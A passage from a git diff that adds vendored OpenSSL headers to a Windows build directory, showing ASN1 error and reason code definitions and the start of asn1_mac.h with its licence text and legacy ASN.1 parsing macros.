ASN1_F_ASN1_BIT_STRING_SET_BIT 183 +#define ASN1_F_ASN1_CB 177 +#define ASN1_F_ASN1_CHECK_TLEN 104 +#define ASN1_F_ASN1_COLLATE_PRIMITIVE 105 +#define ASN1_F_ASN1_COLLECT 106 +#define ASN1_F_ASN1_D2I_EX_PRIMITIVE 108 +#define ASN1_F_ASN1_D2I_FP 109 +#define ASN1_F_ASN1_D2I_READ_BIO 107 +#define ASN1_F_ASN1_DIGEST 184 +#define ASN1_F_ASN1_DO_ADB 110 +#define ASN1_F_ASN1_DUP 111 +#define ASN1_F_ASN1_ENUMERATED_SET 112 +#define ASN1_F_ASN1_ENUMERATED_TO_BN 113 +#define ASN1_F_ASN1_EX_C2I 204 +#define ASN1_F_ASN1_FIND_END 190 +#define ASN1_F_ASN1_GENERALIZEDTIME_SET 185 +#define ASN1_F_ASN1_GENERATE_V3 178 +#define ASN1_F_ASN1_GET_OBJECT 114 +#define ASN1_F_ASN1_HEADER_NEW 115 +#define ASN1_F_ASN1_I2D_BIO 116 +#define ASN1_F_ASN1_I2D_FP 117 +#define ASN1_F_ASN1_INTEGER_SET 118 +#define ASN1_F_ASN1_INTEGER_TO_BN 119 +#define ASN1_F_ASN1_ITEM_D2I_FP 206 +#define ASN1_F_ASN1_ITEM_DUP 191 +#define ASN1_F_ASN1_ITEM_EX_COMBINE_NEW 121 +#define ASN1_F_ASN1_ITEM_EX_D2I 120 +#define ASN1_F_ASN1_ITEM_I2D_BIO 192 +#define ASN1_F_ASN1_ITEM_I2D_FP 193 +#define ASN1_F_ASN1_ITEM_PACK 198 +#define ASN1_F_ASN1_ITEM_SIGN 195 +#define ASN1_F_ASN1_ITEM_UNPACK 199 +#define ASN1_F_ASN1_ITEM_VERIFY 197 +#define ASN1_F_ASN1_MBSTRING_NCOPY 122 +#define ASN1_F_ASN1_OBJECT_NEW 123 +#define ASN1_F_ASN1_OUTPUT_DATA 207 +#define ASN1_F_ASN1_PACK_STRING 124 +#define ASN1_F_ASN1_PCTX_NEW 205 +#define ASN1_F_ASN1_PKCS5_PBE_SET 125 +#define ASN1_F_ASN1_SEQ_PACK 126 +#define ASN1_F_ASN1_SEQ_UNPACK 127 +#define ASN1_F_ASN1_SIGN 128 +#define ASN1_F_ASN1_STR2TYPE 179 +#define ASN1_F_ASN1_STRING_SET 186 +#define ASN1_F_ASN1_STRING_TABLE_ADD 129 +#define ASN1_F_ASN1_STRING_TYPE_NEW 130 +#define ASN1_F_ASN1_TEMPLATE_EX_D2I 132 +#define ASN1_F_ASN1_TEMPLATE_NEW 133 +#define ASN1_F_ASN1_TEMPLATE_NOEXP_D2I 131 +#define ASN1_F_ASN1_TIME_SET 175 +#define ASN1_F_ASN1_TYPE_GET_INT_OCTETSTRING 134 +#define ASN1_F_ASN1_TYPE_GET_OCTETSTRING 135 +#define ASN1_F_ASN1_UNPACK_STRING 136 +#define ASN1_F_ASN1_UTCTIME_SET 187 +#define ASN1_F_ASN1_VERIFY 137 +#define ASN1_F_B64_READ_ASN1 208 +#define ASN1_F_B64_WRITE_ASN1 209 +#define ASN1_F_BITSTR_CB 180 +#define ASN1_F_BN_TO_ASN1_ENUMERATED 138 +#define ASN1_F_BN_TO_ASN1_INTEGER 139 +#define ASN1_F_C2I_ASN1_BIT_STRING 189 +#define ASN1_F_C2I_ASN1_INTEGER 194 +#define ASN1_F_C2I_ASN1_OBJECT 196 +#define ASN1_F_COLLECT_DATA 140 +#define ASN1_F_D2I_ASN1_BIT_STRING 141 +#define ASN1_F_D2I_ASN1_BOOLEAN 142 +#define ASN1_F_D2I_ASN1_BYTES 143 +#define ASN1_F_D2I_ASN1_GENERALIZEDTIME 144 +#define ASN1_F_D2I_ASN1_HEADER 145 +#define ASN1_F_D2I_ASN1_INTEGER 146 +#define ASN1_F_D2I_ASN1_OBJECT 147 +#define ASN1_F_D2I_ASN1_SET 148 +#define ASN1_F_D2I_ASN1_TYPE_BYTES 149 +#define ASN1_F_D2I_ASN1_UINTEGER 150 +#define ASN1_F_D2I_ASN1_UTCTIME 151 +#define ASN1_F_D2I_NETSCAPE_RSA 152 +#define ASN1_F_D2I_NETSCAPE_RSA_2 153 +#define ASN1_F_D2I_PRIVATEKEY 154 +#define ASN1_F_D2I_PUBLICKEY 155 +#define ASN1_F_D2I_RSA_NET 200 +#define ASN1_F_D2I_RSA_NET_2 201 +#define ASN1_F_D2I_X509 156 +#define ASN1_F_D2I_X509_CINF 157 +#define ASN1_F_D2I_X509_PKEY 159 +#define ASN1_F_I2D_ASN1_SET 188 +#define ASN1_F_I2D_ASN1_TIME 160 +#define ASN1_F_I2D_DSA_PUBKEY 161 +#define ASN1_F_I2D_EC_PUBKEY 181 +#define ASN1_F_I2D_PRIVATEKEY 163 +#define ASN1_F_I2D_PUBLICKEY 164 +#define ASN1_F_I2D_RSA_NET 162 +#define ASN1_F_I2D_RSA_PUBKEY 165 +#define ASN1_F_LONG_C2I 166 +#define ASN1_F_OID_MODULE_INIT 174 +#define ASN1_F_PARSE_TAGGING 182 +#define ASN1_F_PKCS5_PBE2_SET 167 +#define ASN1_F_PKCS5_PBE_SET 202 +#define ASN1_F_SMIME_READ_ASN1 210 +#define ASN1_F_SMIME_TEXT 211 +#define ASN1_F_X509_CINF_NEW 168 +#define ASN1_F_X509_CRL_ADD0_REVOKED 169 +#define ASN1_F_X509_INFO_NEW 170 +#define ASN1_F_X509_NAME_ENCODE 203 +#define ASN1_F_X509_NAME_EX_D2I 158 +#define ASN1_F_X509_NAME_EX_NEW 171 +#define ASN1_F_X509_NEW 172 +#define ASN1_F_X509_PKEY_NEW 173 + +/* Reason codes. */ +#define ASN1_R_ADDING_OBJECT 171 +#define ASN1_R_ASN1_PARSE_ERROR 198 +#define ASN1_R_ASN1_SIG_PARSE_ERROR 199 +#define ASN1_R_AUX_ERROR 100 +#define ASN1_R_BAD_CLASS 101 +#define ASN1_R_BAD_OBJECT_HEADER 102 +#define ASN1_R_BAD_PASSWORD_READ 103 +#define ASN1_R_BAD_TAG 104 +#define ASN1_R_BMPSTRING_IS_WRONG_LENGTH 210 +#define ASN1_R_BN_LIB 105 +#define ASN1_R_BOOLEAN_IS_WRONG_LENGTH 106 +#define ASN1_R_BUFFER_TOO_SMALL 107 +#define ASN1_R_CIPHER_HAS_NO_OBJECT_IDENTIFIER 108 +#define ASN1_R_DATA_IS_WRONG 109 +#define ASN1_R_DECODE_ERROR 110 +#define ASN1_R_DECODING_ERROR 111 +#define ASN1_R_DEPTH_EXCEEDED 174 +#define ASN1_R_ENCODE_ERROR 112 +#define ASN1_R_ERROR_GETTING_TIME 173 +#define ASN1_R_ERROR_LOADING_SECTION 172 +#define ASN1_R_ERROR_PARSING_SET_ELEMENT 113 +#define ASN1_R_ERROR_SETTING_CIPHER_PARAMS 114 +#define ASN1_R_EXPECTING_AN_INTEGER 115 +#define ASN1_R_EXPECTING_AN_OBJECT 116 +#define ASN1_R_EXPECTING_A_BOOLEAN 117 +#define ASN1_R_EXPECTING_A_TIME 118 +#define ASN1_R_EXPLICIT_LENGTH_MISMATCH 119 +#define ASN1_R_EXPLICIT_TAG_NOT_CONSTRUCTED 120 +#define ASN1_R_FIELD_MISSING 121 +#define ASN1_R_FIRST_NUM_TOO_LARGE 122 +#define ASN1_R_HEADER_TOO_LONG 123 +#define ASN1_R_ILLEGAL_BITSTRING_FORMAT 175 +#define ASN1_R_ILLEGAL_BOOLEAN 176 +#define ASN1_R_ILLEGAL_CHARACTERS 124 +#define ASN1_R_ILLEGAL_FORMAT 177 +#define ASN1_R_ILLEGAL_HEX 178 +#define ASN1_R_ILLEGAL_IMPLICIT_TAG 179 +#define ASN1_R_ILLEGAL_INTEGER 180 +#define ASN1_R_ILLEGAL_NESTED_TAGGING 181 +#define ASN1_R_ILLEGAL_NULL 125 +#define ASN1_R_ILLEGAL_NULL_VALUE 182 +#define ASN1_R_ILLEGAL_OBJECT 183 +#define ASN1_R_ILLEGAL_OPTIONAL_ANY 126 +#define ASN1_R_ILLEGAL_OPTIONS_ON_ITEM_TEMPLATE 170 +#define ASN1_R_ILLEGAL_TAGGED_ANY 127 +#define ASN1_R_ILLEGAL_TIME_VALUE 184 +#define ASN1_R_INTEGER_NOT_ASCII_FORMAT 185 +#define ASN1_R_INTEGER_TOO_LARGE_FOR_LONG 128 +#define ASN1_R_INVALID_BMPSTRING_LENGTH 129 +#define ASN1_R_INVALID_DIGIT 130 +#define ASN1_R_INVALID_MIME_TYPE 200 +#define ASN1_R_INVALID_MODIFIER 186 +#define ASN1_R_INVALID_NUMBER 187 +#define ASN1_R_INVALID_SEPARATOR 131 +#define ASN1_R_INVALID_TIME_FORMAT 132 +#define ASN1_R_INVALID_UNIVERSALSTRING_LENGTH 133 +#define ASN1_R_INVALID_UTF8STRING 134 +#define ASN1_R_IV_TOO_LARGE 135 +#define ASN1_R_LENGTH_ERROR 136 +#define ASN1_R_LIST_ERROR 188 +#define ASN1_R_MIME_NO_CONTENT_TYPE 201 +#define ASN1_R_MIME_PARSE_ERROR 202 +#define ASN1_R_MIME_SIG_PARSE_ERROR 203 +#define ASN1_R_MISSING_EOC 137 +#define ASN1_R_MISSING_SECOND_NUMBER 138 +#define ASN1_R_MISSING_VALUE 189 +#define ASN1_R_MSTRING_NOT_UNIVERSAL 139 +#define ASN1_R_MSTRING_WRONG_TAG 140 +#define ASN1_R_NESTED_ASN1_STRING 197 +#define ASN1_R_NON_HEX_CHARACTERS 141 +#define ASN1_R_NOT_ASCII_FORMAT 190 +#define ASN1_R_NOT_ENOUGH_DATA 142 +#define ASN1_R_NO_CONTENT_TYPE 204 +#define ASN1_R_NO_MATCHING_CHOICE_TYPE 143 +#define ASN1_R_NO_MULTIPART_BODY_FAILURE 205 +#define ASN1_R_NO_MULTIPART_BOUNDARY 206 +#define ASN1_R_NO_SIG_CONTENT_TYPE 207 +#define ASN1_R_NULL_IS_WRONG_LENGTH 144 +#define ASN1_R_OBJECT_NOT_ASCII_FORMAT 191 +#define ASN1_R_ODD_NUMBER_OF_CHARS 145 +#define ASN1_R_PRIVATE_KEY_HEADER_MISSING 146 +#define ASN1_R_SECOND_NUMBER_TOO_LARGE 147 +#define ASN1_R_SEQUENCE_LENGTH_MISMATCH 148 +#define ASN1_R_SEQUENCE_NOT_CONSTRUCTED 149 +#define ASN1_R_SEQUENCE_OR_SET_NEEDS_CONFIG 192 +#define ASN1_R_SHORT_LINE 150 +#define ASN1_R_SIG_INVALID_MIME_TYPE 208 +#define ASN1_R_STREAMING_NOT_SUPPORTED 209 +#define ASN1_R_STRING_TOO_LONG 151 +#define ASN1_R_STRING_TOO_SHORT 152 +#define ASN1_R_TAG_VALUE_TOO_HIGH 153 +#define ASN1_R_THE_ASN1_OBJECT_IDENTIFIER_IS_NOT_KNOWN_FOR_THIS_MD 154 +#define ASN1_R_TIME_NOT_ASCII_FORMAT 193 +#define ASN1_R_TOO_LONG 155 +#define ASN1_R_TYPE_NOT_CONSTRUCTED 156 +#define ASN1_R_UNABLE_TO_DECODE_RSA_KEY 157 +#define ASN1_R_UNABLE_TO_DECODE_RSA_PRIVATE_KEY 158 +#define ASN1_R_UNEXPECTED_EOC 159 +#define ASN1_R_UNIVERSALSTRING_IS_WRONG_LENGTH 211 +#define ASN1_R_UNKNOWN_FORMAT 160 +#define ASN1_R_UNKNOWN_MESSAGE_DIGEST_ALGORITHM 161 +#define ASN1_R_UNKNOWN_OBJECT_TYPE 162 +#define ASN1_R_UNKNOWN_PUBLIC_KEY_TYPE 163 +#define ASN1_R_UNKNOWN_TAG 194 +#define ASN1_R_UNKOWN_FORMAT 195 +#define ASN1_R_UNSUPPORTED_ANY_DEFINED_BY_TYPE 164 +#define ASN1_R_UNSUPPORTED_CIPHER 165 +#define ASN1_R_UNSUPPORTED_ENCRYPTION_ALGORITHM 166 +#define ASN1_R_UNSUPPORTED_PUBLIC_KEY_TYPE 167 +#define ASN1_R_UNSUPPORTED_TYPE 196 +#define ASN1_R_WRONG_TAG 168 +#define ASN1_R_WRONG_TYPE 169 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/asn1_mac.h b/winstuff/openssl/asn1_mac.h new file mode 100644 index 0000000..d958ca6 --- /dev/null +++ b/winstuff/openssl/asn1_mac.h @@ -0,0 +1,571 @@ +/* crypto/asn1/asn1_mac.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_ASN1_MAC_H +#define HEADER_ASN1_MAC_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#ifndef ASN1_MAC_ERR_LIB +#define ASN1_MAC_ERR_LIB ERR_LIB_ASN1 +#endif + +#define ASN1_MAC_H_err(f,r,line) \ + ERR_PUT_error(ASN1_MAC_ERR_LIB,(f),(r),__FILE__,(line)) + +#define M_ASN1_D2I_vars(a,type,func) \ + ASN1_const_CTX c; \ + type ret=NULL; \ + \ + c.pp=(const unsigned char **)pp; \ + c.q= *(const unsigned char **)pp; \ + c.error=ERR_R_NESTED_ASN1_ERROR; \ + if ((a == NULL) || ((*a) == NULL)) \ + { if ((ret=(type)func()) == NULL) \ + { c.line=__LINE__; goto err; } } \ + else ret=(*a); + +#define M_ASN1_D2I_Init() \ + c.p= *(const unsigned char **)pp; \ + c.max=(length == 0)?0:(c.p+length); + +#define M_ASN1_D2I_Finish_2(a) \ + if (!asn1_const_Finish(&c)) \ + { c.line=__LINE__; goto err; } \ + *(const unsigned char **)pp=c.p; \ + if (a != NULL) (*a)=ret; \ + return(ret); + +#define M_ASN1_D2I_Finish(a,func,e) \ + M_ASN1_D2I_Finish_2(a); \ +err:\ + ASN1_MAC_H_err((e),c.error,c.line); \ + asn1_add_error(*(const unsigned char **)pp,(int)(c.q- *pp)); \ + if ((ret != NULL) && ((a == NULL) || (*a != ret))) func(ret); \ + return(NULL) + +#define M_ASN1_D2I_start_sequence() \ + if (!asn1_GetSequence(&c,&length)) \ + { c.line=__LINE__; goto err; } +/* Begin reading ASN1 without a surrounding sequence */ +#define M_ASN1_D2I_begin() \ + c.slen = length; + +/* End reading ASN1 with no check on length */ +#define M_ASN1_D2I_Finish_nolen(a, func, e) \ + *pp=c.p; \ + if (a != NULL) (*a)=ret; \ + return(ret); \ +err:\ + ASN1_MAC_H_err((e),c.error,c.line); \ + asn1_add_error(*pp,(int)(c.q- *pp)); \ + if ((ret != NULL) && ((a == NULL) || (*a != ret))) func(ret); \ + return(NULL) + +#define M_ASN1_D2I_end_sequence() \ + (((c.inf&1) == 0)?(c.slen <= 0): \ + (c.eos=ASN1_const_check_infinite_end(&c.p,c.slen))) + +/* Don't use this with d2i_ASN1_BOOLEAN() */ +#define M_ASN1_D2I_get(b, func) \ + c.q=c.p; \ + if (func(&(b),&c.p,c.slen) == NULL) \ + {c.line=__LINE__; goto err; } \ + c.slen-=(c.p-c.q); + +/* Don't use this with d2i_ASN1_BOOLEAN() */ +#define M_ASN1_D2I_get_x(type,b,func) \ + c.q=c.p; \ + if (((D2I_OF(type))func)(&(b),&c.p,c.slen) == NULL) \ + {c.line=__LINE__; goto err; } \ + c.slen-=(c.p-c.q); + +/* use this instead () */ +#define M_ASN1_D2I_get_int(b,func) \ + c.q=c.p; \ + if (func(&(b),&c.p,c.slen) < 0) \ + {c.line=__LINE__; goto err; } \ + c.slen-=(c.p-c.q); + +#define M_ASN1_D2I_get_opt(b,func,type) \ + if ((c.slen != 0) && ((M_ASN1_next & (~V_ASN1_CONSTRUCTED)) \ + == (V_ASN1_UNIVERSAL|(type)))) \ + { \ + M_ASN1_D2I_get(b,func); \ + } + +#define M_ASN1_D2I_get_imp(b,func, type) \ + M_ASN1_next=(_tmp& V_ASN1_CONSTRUCTED)|type; \ + c.q=c.p; \ + if (func(&(b),&c.p,c.slen) == NULL) \ + {c.line=__LINE__; M_ASN1_next_prev = _tmp; goto err; } \ + c.slen-=(c.p-c.q);\ + M_ASN1_next_prev=_tmp; + +#define M_ASN1_D2I_get_IMP_opt(b,func,tag,type) \ + if ((c.slen != 0) && ((M_ASN1_next & (~V_ASN1_CONSTRUCTED)) == \ + (V_ASN1_CONTEXT_SPECIFIC|(tag)))) \ + { \ + unsigned char _tmp = M_ASN1_next; \ + M_ASN1_D2I_get_imp(b,func, type);\ + } + +#define M_ASN1_D2I_get_set(r,func,free_func) \ + M_ASN1_D2I_get_imp_set(r,func,free_func, \ + V_ASN1_SET,V_ASN1_UNIVERSAL); + +#define M_ASN1_D2I_get_set_type(type,r,func,free_func) \ + M_ASN1_D2I_get_imp_set_type(type,r,func,free_func, \ + V_ASN1_SET,V_ASN1_UNIVERSAL); + +#define M_ASN1_D2I_get_set_opt(r,func,free_func) \ + if ((c.slen != 0) && (M_ASN1_next == (V_ASN1_UNIVERSAL| \ + V_ASN1_CONSTRUCTED|V_ASN1_SET)))\ + { M_ASN1_D2I_get_set(r,func,free_func); } + +#define M_ASN1_D2I_get_set_opt_type(type,r,func,free_func) \ + if ((c.slen != 0) && (M_ASN1_next == (V_ASN1_UNIVERSAL| \ + V_ASN1_CONSTRUCTED|V_ASN1_SET)))\ + { M_ASN1_D2I_get_set_type(type,r,func,free_func); } + +#define M_ASN1_I2D_len_SET_opt(a,f) \ + if ((a != NULL) && (sk_num(a) != 0)) \ + M_ASN1_I2D_len_SET(a,f); + +#define M_ASN1_I2D_put_SET_opt(a,f) \ + if ((a != NULL) && (sk_num(a) != 0)) \ + M_ASN1_I2D_put_SET(a,f); + +#define M_ASN1_I2D_put_SEQUENCE_opt(a,f) \ + if ((a != NULL) && (sk_num(a) != 0)) \ + M_ASN1_I2D_put_SEQUENCE(a,f); + +#define M_ASN1_I2D_put_SEQUENCE_opt_type(type,a,f) \ + if ((a != NULL) && (sk_##type##_num(a) != 0)) \ + M_ASN1_I2D_put_SEQUENCE_type(type,a,f); + +#define M_ASN1_D2I_get_IMP_set_opt(b,func,free_func,tag) \ + if ((c.slen != 0) && \ + (M_ASN1_next == \ + (V_ASN1_CONTEXT_SPECIFIC|V_ASN1_CONSTRUCTED|(tag))))\ + { \ + M_ASN1_D2I_get_imp_set(b,func,free_func,\ + tag,V_ASN1_CONTEXT_SPECIFIC); \ + } + +#define M_ASN1_D2I_get_IMP_set_opt_type(type,b,func,free_func,tag) \ + if ((c.slen != 0) && \ + (M_ASN1_next == \ + (V_ASN1_CONTEXT_SPECIFIC|V_ASN1_CONSTRUCTED|(tag))))\ + { \ + M_ASN1_D2I_get_imp_set_type(type,b,func,free_func,\ + tag,V_ASN1_CONTEXT_SPECIFIC); \ + } + +#define M_ASN1_D2I_get_seq(r,func,free_func) \ + M_ASN1_D2I_get_imp_set(r,func,free_func,\ + V_ASN1_SEQUENCE,V_ASN1_UNIVERSAL); + +#define M_ASN1_D2I_get_seq_type(type,r,func,free_func) \ + M_ASN1_D2I_get_imp_set_type(type,r,func,free_func,\ + V_ASN1_SEQUENCE,V_ASN1_UNIVERSAL) + +#define M_ASN1_D2I_get_seq_opt(r,func,free_func) \ + if ((c.slen != 0) && (M_ASN1_next == (V_ASN1_UNIVERSAL| \ + V_ASN1_CONSTRUCTED|V_ASN1_SEQUENCE)))\ + { M_ASN1_D2I_get_seq(r,func,free_func); } + +#define M_ASN1_D2I_get_seq_opt_type(type,r,func,free_func) \ + if ((c.slen != 0) && (M_ASN1_next == (V_ASN1_UNIVERSAL| \ + V_ASN1_CONSTRUCTED|V_ASN1_SEQUENCE)))\ + { M_ASN1_D2I_get_seq_type(type,r,func,free_func); } + +#define M_ASN1_D2I_get_IMP_set(r,func,free_func,x) \ + M_ASN1_D2I_get_imp_set(r,func,free_func,\ + x,V_ASN1_CONTEXT_SPECIFIC); + +#define M_ASN1_D2I_get_IMP_set_type(type,r,func,free_func,x) \ + M_ASN1_D2I_get_imp_set_type(type,r,func,free_func,\ + x,V_ASN1_CONTEXT_SPECIFIC); + +#define M_ASN1_D2I_get_imp_set(r,func,free_func,a,b) \ + c.q=c.p; \ + if (d2i_ASN1_SET(&(r),&c.p,c.slen,(char *(*)())func,\ + (void (*)())free_func,a,b) == NULL) \ + { c.line=__LINE__; goto err; } \ + c.slen-=(c.p-c.q); + +#define M_ASN1_D2I_get_imp_set_type(type,r,func,free_func,a,b) \ + c.q=c.p; \ + if (d2i_ASN1_SET_OF_##type(&(r),&c.p,c.slen,func,\ + free_func,a,b) == NULL) \ + { c.line=__LINE__; goto err; } \ + c.slen-=(c.p-c.q); + +#define M_ASN1_D2I_get_set_strings(r,func,a,b) \ + c.q=c.p; \ + if (d2i_ASN1_STRING_SET(&(r),&c.p,c.slen,a,b) == NULL) \ + { c.line=__LINE__; goto err; } \ + c.slen-=(c.p-c.q); + +#define M_ASN1_D2I_get_EXP_opt(r,func,tag) \ + if ((c.slen != 0L) && (M_ASN1_next == \ + (V_ASN1_CONSTRUCTED|V_ASN1_CONTEXT_SPECIFIC|tag))) \ + { \ + int Tinf,Ttag,Tclass; \ + long Tlen; \ + \ + c.q=c.p; \ + Tinf=ASN1_get_object(&c.p,&Tlen,&Ttag,&Tclass,c.slen); \ + if (Tinf & 0x80) \ + { c.error=ERR_R_BAD_ASN1_OBJECT_HEADER; \ + c.line=__LINE__; goto err; } \ + if (Tinf == (V_ASN1_CONSTRUCTED+1)) \ + Tlen = c.slen - (c.p - c.q) - 2; \ + if (func(&(r),&c.p,Tlen) == NULL) \ + { c.line=__LINE__; goto err; } \ + if (Tinf == (V_ASN1_CONSTRUCTED+1)) { \ + Tlen = c.slen - (c.p - c.q); \ + if(!ASN1_const_check_infinite_end(&c.p, Tlen)) \ + { c.error=ERR_R_MISSING_ASN1_EOS; \ + c.line=__LINE__; goto err; } \ + }\ + c.slen-=(c.p-c.q); \ + } + +#define M_ASN1_D2I_get_EXP_set_opt(r,func,free_func,tag,b) \ + if ((c.slen != 0) && (M_ASN1_next == \ + (V_ASN1_CONSTRUCTED|V_ASN1_CONTEXT_SPECIFIC|tag))) \ + { \ + int Tinf,Ttag,Tclass; \ + long Tlen; \ + \ + c.q=c.p; \ + Tinf=ASN1_get_object(&c.p,&Tlen,&Ttag,&Tclass,c.slen); \ + if (Tinf & 0x80) \ + { c.error=ERR_R_BAD_ASN1_OBJECT_HEADER; \ + c.line=__LINE__; goto err; } \ + if (Tinf == (V_ASN1_CONSTRUCTED+1)) \ + Tlen = c.slen - (c.p - c.q) - 2; \ + if (d2i_ASN1_SET(&(r),&c.p,Tlen,(char *(*)())func, \ + (void (*)())free_func, \ + b,V_ASN1_UNIVERSAL) == NULL) \ + { c.line=__LINE__; goto err; } \ + if (Tinf == (V_ASN1_CONSTRUCTED+1)) { \ + Tlen = c.slen - (c.p - c.q); \ + if(!ASN1_check_infinite_end(&c.p, Tlen)) \ + { c.error=ERR_R_MISSING_ASN1_EOS; \ + c.line=__LINE__; goto err; } \ + }\ + c.slen-=(c.p-c.q); \ + } + +#define M_ASN1_D2I_get_EXP_set_opt_type(type,r,func,free_func,tag,b) \ + if ((c.slen != 0) && (M_ASN1_next == \ + (V_ASN1_CONSTRUCTED|V_ASN1_CONTEXT_SPECIFIC|tag))) \ + { \ + int Tinf,Ttag,Tclass; \ + long Tlen; \ + \ + c.q=c.p; \ + Tinf=ASN1_get_object(&c.p,&Tlen,&Ttag,&Tclass,c.slen); \ + if (Tinf & 0x80) \ + { c.error=ERR_R_BAD_ASN1_OBJECT_HEADER; \ + c.line=__LINE__; goto err; } \ + if (Tinf == (V_ASN1_CONSTRUCTED+1)) \ + Tlen = c.slen - (c.p - c.q) - 2; \ + if (d2i_ASN1_SET_OF_##type(&(r),&c.p,Tlen,func, \ + free_func,b,V_ASN1_UNIVERSAL) == NULL) \ + { c.line=__LINE__; goto err; } \ + if (Tinf == (V_ASN1_CONSTRUCTED+1)) { \ + Tlen = c.slen - (c.p - c.q); \ + if(!ASN1_check_infinite_end(&c.p, Tlen)) \ + { c.error=ERR_R_MISSING_ASN1_EOS; \ + c.line=__LINE__; goto err; } \ + }\ + c.slen-=(c.p-c.q); \ + } + +/* New macros */ +#define M_ASN1_New_Malloc(ret,type) \ + if ((ret=(type *)OPENSSL_malloc(sizeof(type))) == NULL) \ + { c.line=__LINE__; goto err2; } + +#define M_ASN1_New(arg,func) \ + if (((arg)=func()) == NULL) return(NULL) + +#define M_ASN1_New_Error(a) \ +/* err: ASN1_MAC_H_err((a),ERR_R_NESTED_ASN1_ERROR,c.line); \ + return(NULL);*/ \ + err2: ASN1_MAC_H_err((a),ERR_R_MALLOC_FAILURE,c.line); \ + return(NULL) + + +/* BIG UGLY WARNING! This is so damn ugly I wanna puke. Unfortunately, + some macros that use ASN1_const_CTX still insist on writing in the input + stream. ARGH! ARGH! ARGH! Let's get rid of this macro package. + Please? -- Richard Levitte */ +#define M_ASN1_next (*((unsigned char *)(c.p))) +#define M_ASN1_next_prev (*((unsigned char *)(c.q))) + +/*************************************************/ + +#define M_ASN1_I2D_vars(a) int r=0,ret=0; \ + unsigned char *p; \ + if (a == NULL) return(0) + +/* Length Macros */ +#define M_ASN1_I2D_len(a,f) ret+=f(a,NULL) +#define M_ASN1_I2D_len_IMP_opt(a,f) if (a != NULL) M_ASN1_I2D_len(a,f) + +#define M_ASN1_I2D_len_SET(a,f) \ + ret+=i2d_ASN1_SET(a,NULL,f,V_ASN1_SET,V_ASN1_UNIVERSAL,IS_SET); + +#define M_ASN1_I2D_len_SET_type(type,a,f) \ + ret+=i2d_ASN1_SET_OF_##type(a,NULL,f,V_ASN1_SET, \ + V_ASN1_UNIVERSAL,IS_SET); + +#define M_ASN1_I2D_len_SEQUENCE(a,f) \ + ret+=i2d_ASN1_SET(a,NULL,f,V_ASN1_SEQUENCE,V_ASN1_UNIVERSAL, \ + IS_SEQUENCE); + +#define M_ASN1_I2D_len_SEQUENCE_type(type,a,f) \ + ret+=i2d_ASN1_SET_OF_##type(a,NULL,f,V_ASN1_SEQUENCE, \ + V_ASN1_UNIVERSAL,IS_SEQUENCE) + +#define M_ASN1_I2D_len_SEQUENCE_opt(a,f) \ + if ((a != NULL) && (sk_num(a) != 0)) \ + M_ASN1_I2D_len_SEQUENCE(a,f); + +#define M_ASN1_I2D_len_SEQUENCE_opt_type(type,a,f) \ + if ((a != NULL) && (sk_##type##_num(a) != 0)) \ + M_ASN1_I2D_len_SEQUENCE_type(type,a,f); + +#define M_ASN1_I2D_len_IMP_SET(a,f,x) \ + ret+=i2d_ASN1_SET(a,NULL,f,x,V_ASN1_CONTEXT_SPECIFIC,IS_SET); + +#define M_ASN1_I2D_len_IMP_SET_type(type,a,f,x) \ + ret+=i2d_ASN1_SET_OF_##type(a,NULL,f,x, \ + V_ASN1_CONTEXT_SPECIFIC,IS_SET); + +#define M_ASN1_I2D_len_IMP_SET_opt(a,f,x) \ + if ((a != NULL) && (sk_num(a) != 0)) \ + ret+=i2d_ASN1_SET(a,NULL,f,x,V_ASN1_CONTEXT_SPECIFIC, \ + IS_SET); + +#define M_ASN1_I2D_len_IMP_SET_opt_type(type,a,f,x) \ + if ((a != NULL) && (sk_##type##_num(a) != 0)) \ + ret+=i2d_ASN1_SET_OF_##type(a,NULL,f,x, \ + V_ASN1_CONTEXT_SPECIFIC,IS_SET); + +#define M_ASN1_I2D_len_IMP_SEQUENCE(a,f,x) 